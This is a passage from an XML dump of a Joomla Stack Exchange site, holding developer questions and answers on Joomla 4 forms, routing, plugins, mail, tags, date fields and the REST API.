JROOT/libraries/src/Component/ComponentHelper.php:361&#xA;17  Joomla\CMS\Component\ComponentHelper::renderComponent() JROOT/libraries/src/Application/SiteApplication.php:208&#xA;18  Joomla\CMS\Application\SiteApplication-&amp;gt;dispatch()  JROOT/libraries/src/Application/SiteApplication.php:249&#xA;19  Joomla\CMS\Application\SiteApplication-&amp;gt;doExecute() JROOT/libraries/src/Application/CMSApplication.php:293&#xA;20  Joomla\CMS\Application\CMSApplication-&amp;gt;execute()    JROOT/includes/app.php:61&#xA;21  require_once()  JROOT/index.php:32&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The code around line 103 of administrator/components/com_categories/layouts/joomla/form/field/categoryedit.php is as follows:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; 94    if ($multiple &amp;amp;&amp;amp; is_array($value)) {&#xA; 95        if (!count($value)) {&#xA; 96            $value[] = '';&#xA; 97        }&#xA; 98&#xA; 99       foreach ($value as $val) {&#xA;100            $html[] = '&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;' . $name . '&amp;quot; value=&amp;quot;' . htmlspecialchars($val, ENT_COMPAT, 'UTF-8') . '&amp;quot;&amp;gt;';&#xA;101        }&#xA;102    } else {&#xA;103        $html[] = '&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;' . $name . '&amp;quot; value=&amp;quot;' . htmlspecialchars($value , ENT_COMPAT, 'UTF-8') . '&amp;quot;&amp;gt;';&#xA;104    }```&#xA;&#xA;What am I missing?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15765" LastEditorUserId="15765" LastEditDate="2023-08-25T08:32:37.343" LastActivityDate="2023-08-25T18:51:33.013" Title="Cannot access form in Joomla 4 frontend" Tags="|joomla-4.x|form|fatal-error|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="33313" PostTypeId="2" ParentId="33310" CreationDate="2023-08-24T22:59:52.210" Score="1" Body="&lt;p&gt;In line #103 you have passed &lt;code&gt;$value&lt;/code&gt; to &lt;code&gt;htmlspecialcharacters&lt;/code&gt; after you have set &lt;code&gt;$value&lt;/code&gt; as an array earlier, before line #94 or at #96.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;htmlspecialcharacters&lt;/code&gt; is expecting a string, not an array, as the first argument.&lt;/p&gt;&#xA;&lt;p&gt;Updated:&lt;/p&gt;&#xA;&lt;p&gt;To be executing line #103 you have failed to meet the condition on #94, $multiple is True and $value is an array. The error message says that $value is an array therefore $multiple must be false.&lt;/p&gt;&#xA;&lt;p&gt;I attempted to recreate your described scenario of creating a menu item to create an article and I can confirm $multiple is false by default but I can't cause the message because $value is a string and not an array.&lt;/p&gt;&#xA;&lt;p&gt;The $multiple is set by a field in the .xml file for the form or custom field that has the attribute of multiple=&amp;quot;true&amp;quot; and for $value to be an array then the field is probably a drop down list or checkbox field type with more than one value that can be set.&lt;/p&gt;&#xA;&lt;p&gt;Given I can't recreate the error with a standard Joomla install then is it possible you have custom field(s) added to the category or article or an override of the article/category form that has a new or modified field that is missing a multiple=&amp;quot;true&amp;quot; statement?&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2023-08-25T11:52:38.717" LastActivityDate="2023-08-25T11:52:38.717" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33314" PostTypeId="1" CreationDate="2023-08-25T14:30:41.677" Score="0" ViewCount="23" Body="&lt;p&gt;In my Joomla! 4.2+ component, i have something with send mail when an user submit a from, the issue is that the sending mail process is very slow. My component fetch the mail settings from the Joomla! configuration panel. This is the code, i don't see what this code hang the process of controller when submit the form :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;abstract class MycomponentEmail&#xA;{&#xA;public static function send($mail, array $receivers)&#xA;{&#xA;    if (isset(static::$mailer_error_status)) {&#xA;        // Mailer is broken, so prevent any sending&#xA;        Log::add(static::$mailer_error_status-&amp;gt;getMessage(), Log::ERROR, 'mycomponent');&#xA;&#xA;        return false;&#xA;    } &#xA;   &#xA;    $chunks = array_chunk($receivers, $emailRecipientCount);&#xA;&#xA;    $success = true;&#xA;&#xA;    foreach ($chunks as $emails) {&#xA;       if ($emailRecipientCount == 1 || $emailRecipientPrivacy == 'to') {&#xA;          $mail-&amp;gt;ClearAddresses();&#xA;          $mail-&amp;gt;addRecipient($emails);&#xA;       } elseif ($emailRecipientPrivacy == 'cc') {&#xA;          $mail-&amp;gt;ClearCCs();&#xA;          $mail-&amp;gt;addCC($emails);&#xA;       } else {&#xA;          $mail-&amp;gt;ClearBCCs();&#xA;          $mail-&amp;gt;addBCC($emails);&#xA;       }&#xA;&#xA;       try {&#xA;          $mail-&amp;gt;Send();&#xA;       } catch (Exception $e) {&#xA;          $success = false;&#xA;          Log::add($e-&amp;gt;getMessage(), Log::ERROR, 'mycomponent');&#xA;       }&#xA;   }&#xA;&#xA;   return $success;&#xA;&#xA;   }&#xA;   }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The controller call that :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function sendNotification($url = null, $approved = false)&#xA;{&#xA;    // Create email.&#xA;        $mail = Factory::getMailer();&#xA;        $mail-&amp;gt;setSubject($mailsubject);&#xA;        $mail-&amp;gt;setSender([$config-&amp;gt;getEmail(), $mailnamesender]);&#xA;&#xA;        // Send email to all subscribers.&#xA;        if (!empty($receivers[1])) {&#xA;            $this-&amp;gt;attachEmailBody($mail, 1, $subject, $url, $once);&#xA;            MycomponentEmail::send($mail, $receivers[1]);&#xA;        }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1819" LastActivityDate="2023-08-25T14:30:41.677" Title="Sendmail by using Joomla! settings is very slow" Tags="|joomla-4.x|joomla-mail|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33316" PostTypeId="1" CreationDate="2023-08-28T14:14:48.790" Score="0" ViewCount="33" Body="&lt;p&gt;Created field type category in the custom component com_drawing&#xA;but not able to save the tags in the category(refer to the image)&#xA;&lt;a href=&quot;https://i.stack.imgur.com/xM6AF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xM6AF.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Table entry in the table #__content_types&lt;/p&gt;&#xA;&lt;pre&gt;&#xA;    &#xA;INSERT INTO #__content_types&#xA;(type_id, type_title, type_alias, `table`, rules, field_mappings, router, content_history_options)&#xA;VALUES(10035, 'drawingtable Category', 'com_drawing.category', '{&quot;special&quot;:{&quot;dbtable&quot;:&quot;#__categories&quot;,&quot;key&quot;:&quot;id&quot;,&quot;type&quot;:&quot;CategoryTable&quot;,&quot;prefix&quot;:&quot;Joomla\\\\Component\\\\Categories\\\\Administrator\\\\Table\\\\&quot;,&quot;config&quot;:&quot;array()&quot;},&quot;common&quot;:   {&quot;dbtable&quot;:&quot;#__ucm_content&quot;,&quot;key&quot;:&quot;ucm_id&quot;,&quot;type&quot;:&quot;Corecontent&quot;,&quot;prefix&quot;:&quot;Joomla\\\\CMS\\\\Table\\\\&quot;,&quot;config&quot;:&quot;array()&quot;}}', '{&quot;common&quot;:{&quot;core_content_item_id&quot;:&quot;id&quot;,&quot;core_title&quot;:&quot;title&quot;,&quot;core_state&quot;:&quot;published&quot;,&quot;core_alias&quot;:&quot;alias&quot;,&quot;core_created_time&quot;:&quot;created_time&quot;,&quot;core_modified_time&quot;:&quot;modified_time&quot;,&quot;core_body&quot;:&quot;description&quot;, &quot;core_hits&quot;:&quot;hits&quot;,&quot;core_publish_up&quot;:&quot;null&quot;,&quot;core_publish_down&quot;:&quot;null&quot;,&quot;core_access&quot;:&quot;access&quot;, &quot;core_params&quot;:&quot;params&quot;, &quot;core_featured&quot;:&quot;null&quot;, &quot;core_metadata&quot;:&quot;metadata&quot;, &quot;core_language&quot;:&quot;language&quot;, &quot;core_images&quot;:&quot;null&quot;, &quot;core_urls&quot;:&quot;null&quot;, &quot;core_version&quot;:&quot;version&quot;, &quot;core_ordering&quot;:&quot;null&quot;, &quot;core_metakey&quot;:&quot;metakey&quot;, &quot;core_metadesc&quot;:&quot;metadesc&quot;, &quot;core_catid&quot;:&quot;parent_id&quot;, &quot;core_xreference&quot;:&quot;null&quot;, &quot;asset_id&quot;:&quot;asset_id&quot;}, &quot;special&quot;:{&quot;parent_id&quot;:&quot;parent_id&quot;,&quot;lft&quot;:&quot;lft&quot;,&quot;rgt&quot;:&quot;rgt&quot;,&quot;level&quot;:&quot;level&quot;,&quot;path&quot;:&quot;path&quot;,&quot;extension&quot;:&quot;extension&quot;,&quot;note&quot;:&quot;note&quot;}}', '', 'DrawingRouter::getCategoryRoute', '{&quot;formFile&quot;:&quot;administrator\\\\/components\\\\/com_categories\\\\/models\\\\/forms\\\\/category.xml&quot;, &quot;hideFields&quot;:[&quot;asset_id&quot;,&quot;checked_out&quot;,&quot;checked_out_time&quot;,&quot;version&quot;,&quot;lft&quot;,&quot;rgt&quot;,&quot;level&quot;,&quot;path&quot;,&quot;extension&quot;], &quot;ignoreChanges&quot;:[&quot;modified_user_id&quot;, &quot;modified_time&quot;, &quot;checked_out&quot;, &quot;checked_out_time&quot;, &quot;version&quot;, &quot;hits&quot;, &quot;path&quot;],&quot;convertToInt&quot;:[&quot;publish_up&quot;, &quot;publish_down&quot;], &quot;displayLookup&quot;:[{&quot;sourceColumn&quot;:&quot;created_user_id&quot;,&quot;targetTable&quot;:&quot;#__users&quot;,&quot;targetColumn&quot;:&quot;id&quot;,&quot;displayColumn&quot;:&quot;name&quot;},{&quot;sourceColumn&quot;:&quot;access&quot;,&quot;targetTable&quot;:&quot;#__viewlevels&quot;,&quot;targetColumn&quot;:&quot;id&quot;,&quot;displayColumn&quot;:&quot;title&quot;},{&quot;sourceColumn&quot;:&quot;modified_user_id&quot;,&quot;targetTable&quot;:&quot;#__users&quot;,&quot;targetColumn&quot;:&quot;id&quot;,&quot;displayColumn&quot;:&quot;name&quot;},{&quot;sourceColumn&quot;:&quot;parent_id&quot;,&quot;targetTable&quot;:&quot;#__categories&quot;,&quot;targetColumn&quot;:&quot;id&quot;,&quot;displayColumn&quot;:&quot;title&quot;}]}');&#xA;&#xA;&lt;/pre&gt;&#xA;&lt;p&gt;When trying to select tags and save the category in J3 component it faces the following error&#xA;&lt;a href=&quot;https://i.stack.imgur.com/nHMpy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nHMpy.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Does anyone have an Idea what can be the reason behind that?&lt;/p&gt;&#xA;&lt;p&gt;I have checked and found that in the below file /j3/libraries/src/Helper/TagsHelper.php&#xA;in the  &lt;code&gt;public function postStoreProcess(TableInterface $table, $newTags = array(), $replace = true)&lt;/code&gt; function&lt;/p&gt;&#xA;&lt;p&gt;$this-&amp;gt;typeAlias is &lt;code&gt;com_drawing.drawingtables.category&lt;/code&gt; instead of &lt;code&gt;com_drawing.category&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Tried to add the below line in the Table class but did not solve the error&#xA;&lt;code&gt;JTableObserverTags::createObserver($this, array('typeAlias' =&amp;gt; 'com_drawing.drawingtable'));&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="16785" LastEditorUserId="16785" LastEditDate="2023-09-04T22:21:13.530" LastActivityDate="2024-02-03T17:04:55.567" Title="Tags not saving for Joomla category custom component with the correct entry in the #__content_type for the Joomla 4 and Jooma 3" Tags="|joomla-3.x|joomla-4.x|tags|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33317" PostTypeId="1" CreationDate="2023-08-29T16:50:49.957" Score="0" ViewCount="55" Body="&lt;p&gt;Create a date field in the XML form&lt;/p&gt;&#xA;&lt;pre&gt;&#xA;&lt;code&gt;&#xA;field name=&quot;nextdate&quot; type=&quot;calendar&quot; class=&quot;inputbox&quot; filter=&quot;safehtml&quot; label=&quot;COM_COMDATE_FORM_LBL_COMDATEDETAIL_NEXTDATE&quot; description=&quot;COM_COMDATE_FORM_DESC_COMDATEDETAIL_NEXTDATE&quot; hint=&quot;COM_COMDATE_FORM_LBL_COMDATEDETAIL_NEXTDATE&quot;&#xA;&lt;/code&gt;&#xA;&lt;/pre&gt;&#xA;&lt;p&gt;and in the SQL create a table with the default value null as follows&lt;/p&gt;&#xA;&lt;pre&gt;&#xA;&lt;code&gt;&#xA;CREATE TABLE IF NOT EXISTS `#__comdate_details` (&#xA;`id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT,&#xA;&#xA;`state` TINYINT(1)  NULL  DEFAULT 1,&#xA;`ordering` INT(11)  NULL  DEFAULT 0,&#xA;`checked_out` INT(11)  UNSIGNED,&#xA;`checked_out_time` DATETIME NULL  DEFAULT NULL ,&#xA;`created_by` INT(11)  NULL  DEFAULT 0,&#xA;`modified_by` INT(11)  NULL  DEFAULT 0,&#xA;`name` VARCHAR(255)  NULL  DEFAULT &quot;&quot;,&#xA;`nextdate` DATE NULL  DEFAULT NULL,&#xA;PRIMARY KEY (`id`)&#xA;) DEFAULT COLLATE=utf8mb4_unicode_ci;&#xA;&#xA;&#xA;&lt;/code&gt;&#xA;&lt;/pre&gt;&#xA;&lt;p&gt;facing error incorrect date field when trying to save the field without selecting a date in the date field Refer to the image&lt;a href=&quot;https://i.stack.imgur.com/Dkvc2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Dkvc2.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16785" LastEditorUserId="16785" LastEditDate="2023-08-30T06:34:16.177" LastActivityDate="2023-09-03T16:12:17.183" Title="Create date fields with the default null value facing error incorrect date field in Joomla 4" Tags="|joomla-4.x|date|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33318" PostTypeId="1" CreationDate="2023-08-30T14:51:22.043" Score="2" ViewCount="19" Body="&lt;p&gt;A strange issue occurred in my site &lt;a href=&quot;https://myagiaparaskevi.gr/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://myagiaparaskevi.gr/&lt;/a&gt; suddenly. I've done no changes except publishing new articles. Every time I try to visit an article I get 'This page doesn't work'. After 3 or 4 times refreshing it finally opens. The same with some menu items. Note that not all of them have this behaviour. Any ideas?&lt;/p&gt;&#xA;&lt;p&gt;EDIT: Problem solved: it was caused by an article with bad format (not formatted/filtered text)...&lt;/p&gt;&#xA;" OwnerUserId="16216" LastEditorUserId="16216" LastEditDate="2023-08-30T16:02:29.270" LastActivityDate="2023-08-30T16:02:29.270" Title="'This page doesn't work' in articles &amp; items" Tags="|joomla-3.x|error-handling|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33319" PostTypeId="1" AcceptedAnswerId="33320" CreationDate="2023-08-31T13:47:19.613" Score="0" ViewCount="84" Body="&lt;p&gt;For a Joomla 4 component I just cannot figure out how to successfully forward or call a Controller function from within a custom Router.&lt;/p&gt;&#xA;&lt;p&gt;This is the Controller - it basically loads an image:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;namespace Mycompany\Component\Myproject\Site\Controller;&#xA;&#xA;\defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Component\ComponentHelper;&#xA;use Joomla\CMS\Image\Image;&#xA;use Joomla\CMS\MVC\Controller\BaseController;&#xA;&#xA;&#xA;class ImageController extends BaseController&#xA;{&#xA;&#xA;    /**&#xA;     * &#xA;     */&#xA;    public function show()&#xA;    {&#xA;        $id = $app-&amp;gt;input-&amp;gt;get('id', \null, 'string');&#xA;        // ... logic to load the image &#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Using this URL the image shows up:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/index.php?option=com_myproject&amp;amp;task=image.show&amp;amp;id=123&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;To support SEF URLs inside the component the URL gets called like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/img/product_12312.jpg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In Joomla 3 I did this by configure mod_rewrite in the .htaccess. Now this should get done by the Router:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;namespace Mycompany\Component\Myproject\Site\Service;&#xA;&#xA;\defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Component\Router\RouterBase;&#xA;&#xA;&#xA;class Router extends RouterBase&#xA;{&#xA;    &#xA;    public function parse(&amp;amp;$segments)&#xA;    {&#xA;        $total = \count($segments);&#xA;&#xA;        $vars  = [];&#xA;&#xA;        switch ($segments[0]) {&#xA;            case ('img'):&#xA;&#xA;                $vars['id'] = str_replace('.jpg', '', explode('_', $segments[1])[1]);&#xA;                $vars['task'] = 'image.show';&#xA;                break;&#xA;        }&#xA;        // print_r($vars); // seems to work so far&#xA;        &#xA;        return $vars;&#xA;    }&#xA;    // .... other code&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The parse() function correctly splits the URL into the $vars array().&lt;/p&gt;&#xA;&lt;p&gt;When I call the SEF image URL in the browser, I get a 404 error. - What am I missing to internally call the show() function of the ImageController class?&lt;/p&gt;&#xA;" OwnerUserId="15765" LastActivityDate="2023-08-31T21:09:46.633" Title="Joomla 4 Router forward to Controller function" Tags="|joomla-4.x|.htaccess-configuration|router|routing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33320" PostTypeId="2" ParentId="33319" CreationDate="2023-08-31T21:09:46.633" Score="1" Body="&lt;p&gt;I wrote up in &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Upgrading_to_Joomla4#Router&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Upgrading_to_Joomla4#Router&lt;/a&gt; what I found were the differences in the router between v3 and v4. In particular you have to find the &lt;code&gt;Itemid&lt;/code&gt; in the &lt;code&gt;preprocess()&lt;/code&gt; function and you also now have to unset the segments in &lt;code&gt;parse()&lt;/code&gt; otherwise you'll get a 404.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2023-08-31T21:09:46.633" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33321" PostTypeId="1" CreationDate="2023-09-01T18:42:31.470" Score="0" ViewCount="118" Body="&lt;p&gt;So when doing this i can import a Plugin and run an event on it:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;PluginHelper::importPlugin('mygroup', 'myplugin');&#xA;Factory::getApplication()-&amp;gt;triggerEvent('onMyEvent', ['some' =&amp;gt; 'stuff']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If i do this in a loop and trigger different events the prior loaded plugins also get triggered.&lt;br /&gt;&#xA;I only want the plugin method loaded just now to get triggered, even if prior loaded have the same eventname.&lt;br /&gt;&#xA;This is all a bit more complex, but here I am minimizing the question, so please don't suggest a different architecture of simple functions and similar.&lt;/p&gt;&#xA;&lt;p&gt;So is there a way to unload or unboot a once loaded plugin?&lt;br /&gt;&#xA;I am using  Joomla 4.3.4&lt;/p&gt;&#xA;" OwnerUserId="15761" LastEditorUserId="15761" LastEditDate="2023-09-02T12:50:57.107" LastActivityDate="2023-09-04T10:14:37.710" Title="Unloading once loaded plugin in Joomla 4" Tags="|plugin|plugin-events|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33323" PostTypeId="2" ParentId="33321" CreationDate="2023-09-03T11:20:24.480" Score="0" Body="&lt;p&gt;I can't find any or much documentation on the subject but looking through the code it seems to me that you don't need or want to unload the Plugin(s). In Joomla 4 you just need to remove the Listener(s) that the other plugins have registered so that they no longer are triggered by the event(s) that your plugin is listening to.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;..\libraries\vendor\joomla\event\src\Dispatcher.php&lt;/code&gt; has the important bits where a plugin 'subscribes' to an event by adding a Listener to an event in the &lt;code&gt;addSubscriber()&lt;/code&gt; function.&lt;/p&gt;&#xA;&lt;p&gt;I would think that your Plugin needs to be loaded last, after the Plugin that you don't want to be involved, and its initial task would be to &lt;code&gt;removeListener()&lt;/code&gt; or &lt;code&gt;removeSubscriber()&lt;/code&gt; for the events that were set by the previously loaded Plugins.&lt;/p&gt;&#xA;&lt;p&gt;Whether you remove the Subscriber or Listener would depend on whether the other Plugins are listening to more than just the event(s) you don't want them too.&lt;/p&gt;&#xA;&lt;p&gt;I couldn't find any examples of code removing a listener to help you but looking at the dispatcher you have a few other methods to find out which listeners are active etc.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-09-03T11:20:24.480" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33324" PostTypeId="2" ParentId="33321" CreationDate="2023-09-03T12:25:38.700" Score="1" Body="&lt;p&gt;Without knowing what you're trying to accomplish I can only suggest using a custom dispatcher instance instead of relying on the global instance. You can then pass it to &lt;code&gt;PluginHelper::importPlugin()&lt;/code&gt;. Event listeners of the imported plugins will be registered with your instance. You can then dispatch the event directly.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Plugin\PluginHelper;&#xA;use Joomla\Event\Dispatcher;&#xA;&#xA;$dispatcher = new Dispatcher;&#xA;PluginHelper::importPlugin('mygroup', 'myplugin', true, $dispatcher);&#xA;$event = $dispatcher-&amp;gt;dispatch('onMyEvent', new MyEvent('onMyEvent', 'stuff'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2023-09-03T12:25:38.700" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33325" PostTypeId="2" ParentId="33317" CreationDate="2023-09-03T16:12:17.183" Score="2" Body="&lt;p&gt;Here is the link which helped to fix my issue &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/41519&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/issues/41519&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16785" LastActivityDate="2023-09-03T16:12:17.183" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33326" PostTypeId="2" ParentId="33321" CreationDate="2023-09-04T10:14:37.710" Score="1" Body="&lt;p&gt;So this is what i ended up doing. In a loop the simple call of the plugin methods can be done without using the event system. &lt;code&gt;$job&lt;/code&gt; is an object containing plugin attributes and some more.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$plugin = Factory::getApplication()-&amp;gt;bootPlugin($job-&amp;gt;element, $job-&amp;gt;group));&#xA;// load plugin language file&#xA;Factory::getApplication()-&amp;gt;getLanguage()-&amp;gt;load('plg_' . trim($job-&amp;gt;folder) . '_' . trim($job-&amp;gt;element), JPATH_PLUGINS . '/' . trim($job-&amp;gt;folder) . '/' . trim($job-&amp;gt;element));&#xA;// add job params to plugin&#xA;$plugin-&amp;gt;params-&amp;gt;loadString($job-&amp;gt;params);&#xA;$plugin-&amp;gt;onMyEvent();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;A custom dispatcher like sharky suggested would probably also be an approach.&#xA;Thanks for&lt;/p&gt;&#xA;" OwnerUserId="15761" LastActivityDate="2023-09-04T10:14:37.710" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33327" PostTypeId="1" CreationDate="2023-09-05T06:40:52.207" Score="2" ViewCount="255" Body="&lt;p&gt;I am developing a mobile app that needs to authenticate users with a Joomla 4 site. I want to use the official Joomla REST API to do this, but I couldn’t find any information about how to authenticate a user and get an API Token with the official Joomla REST API. Can anyone provide some guidance on how to do this?&#xA;I know the API token can be generated in the user profile, but that is not relevant to my question. the API does not have a Login function.&lt;/p&gt;&#xA;" OwnerUserId="13815" LastEditorUserId="13815" LastEditDate="2023-11-20T06:09:30.213" LastActivityDate="2023-11-20T06:09:30.213" Title="How to authenticate a user with the official Joomla 4 REST API?" Tags="|joomla-4.x|joomla-api|authentication|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33329" PostTypeId="1" CreationDate="2023-09-06T14:21:21.600" Score="0" ViewCount="22" Body="&lt;p&gt;The company I work for has created a plugin/connector for Joomla!, and we'd like to be able to make it available for Joomla! users.  The main purpose of the plugin is to automate the processing of localization content. We're not necessarily providing the translations ourselves, it's more of a middleware that allows for more flexibility on the side of the actual translation source. It could be an LSP, MT Engine, or even a CAT tool in some cases like Phrase, memoQ, RWS, etc.&lt;/p&gt;&#xA;&lt;p&gt;A paid subscription to our service is required to enable access to the platform, but from there all available connectors can be used, and we're adding more all the time.&lt;/p&gt;&#xA;&lt;p&gt;Maybe this isn't the best place to ask this question but I was hoping to speak with someone about getting the app we made on the app store, and we've done the same in our app store with the Joomla! connector we made, this way anyone already using our software can also see Joomla! as an available data source for translation content.&lt;/p&gt;&#xA;&lt;p&gt;There's also more information on what we've built in our public help page here: &lt;a href=&quot;https://help.locale.to/en/collections/5822391-joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://help.locale.to/en/collections/5822391-joomla&lt;/a&gt; in case it's at all helpful.&lt;/p&gt;&#xA;&lt;p&gt;Thanks!&#xA;-Joe&lt;/p&gt;&#xA;" OwnerUserId="17300" LastActivityDate="2023-09-06T14:21:21.600" Title="How can I add my connector to the Joomla! extensions page?" Tags="|translation|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33330" PostTypeId="2" ParentId="33316" CreationDate="2023-09-06T15:37:20.790" Score="0" Body="&lt;p&gt;I was facing this issue because my component has two tables and each table has a Joomla category field.&#xA;which are as follows&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;field name=&amp;quot;category&amp;quot; extension=&amp;quot;com_drawing.drawingtables&amp;quot; type=&amp;quot;category&amp;quot; label=&amp;quot;COM_DRAWING_FORM_LBL_DRAWINGTABLE_CATEGORY&amp;quot; description=&amp;quot;COM_DRAWING_FORM_DESC_DRAWINGTABLE_CATEGORY&amp;quot; hint=&amp;quot;COM_DRAWING_FORM_LBL_DRAWINGTABLE_CATEGORY&amp;quot;/&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    `&amp;lt;field name=&amp;quot;tootcategory&amp;quot; extension=&amp;quot;com_drawing.tools&amp;quot; type=&amp;quot;category&amp;quot; label=&amp;quot;COM_DRAWING_FORM_LBL_TOOL_TOOTCATEGORY&amp;quot; description=&amp;quot;COM_DRAWING_FORM_DESC_TOOL_TOOTCATEGORY&amp;quot; hint=&amp;quot;COM_DRAWING_FORM_LBL_TOOL_TOOTCATEGORY&amp;quot;/&amp;gt;`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So I need to insert two separate entries in the &lt;strong&gt;#__content_types&lt;/strong&gt; table as below&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;INSERT INTO #__content_types (type_id, type_title, type_alias, &lt;/code&gt;table&lt;code&gt;, rules, field_mappings, router, content_history_options) VALUES(10035, 'drawingtable Category', 'com_drawing.drawingtables.category', '{&amp;quot;special&amp;quot;:{&amp;quot;dbtable&amp;quot;:&amp;quot;#__categories&amp;quot;,&amp;quot;key&amp;quot;:&amp;quot;id&amp;quot;,&amp;quot;type&amp;quot;:&amp;quot;CategoryTable&amp;quot;,&amp;quot;prefix&amp;quot;:&amp;quot;Joomla\\\\Component\\\\Categories\\\\Administrator\\\\Table\\\\&amp;quot;,&amp;quot;config&amp;quot;:&amp;quot;array()&amp;quot;},&amp;quot;common&amp;quot;:   {&amp;quot;dbtable&amp;quot;:&amp;quot;#__ucm_content&amp;quot;,&amp;quot;key&amp;quot;:&amp;quot;ucm_id&amp;quot;,&amp;quot;type&amp;quot;:&amp;quot;Corecontent&amp;quot;,&amp;quot;prefix&amp;quot;:&amp;quot;Joomla\\\\CMS\\\\Table\\\\&amp;quot;,&amp;quot;config&amp;quot;:&amp;quot;array()&amp;quot;}}', '{&amp;quot;common&amp;quot;:{&amp;quot;core_content_item_id&amp;quot;:&amp;quot;id&amp;quot;,&amp;quot;core_title&amp;quot;:&amp;quot;title&amp;quot;,&amp;quot;core_state&amp;quot;:&amp;quot;published&amp;quot;,&amp;quot;core_alias&amp;quot;:&amp;quot;alias&amp;quot;,&amp;quot;core_created_time&amp;quot;:&amp;quot;created_time&amp;quot;,&amp;quot;core_modified_time&amp;quot;:&amp;quot;modified_time&amp;quot;,&amp;quot;core_body&amp;quot;:&amp;quot;description&amp;quot;, &amp;quot;core_hits&amp;quot;:&amp;quot;hits&amp;quot;,&amp;quot;core_publish_up&amp;quot;:&amp;quot;null&amp;quot;,&amp;quot;core_publish_down&amp;quot;:&amp;quot;null&amp;quot;,&amp;quot;core_access&amp;quot;:&amp;quot;access&amp;quot;, &amp;quot;core_params&amp;quot;:&amp;quot;params&amp;quot;, &amp;quot;core_featured&amp;quot;:&amp;quot;null&amp;quot;, 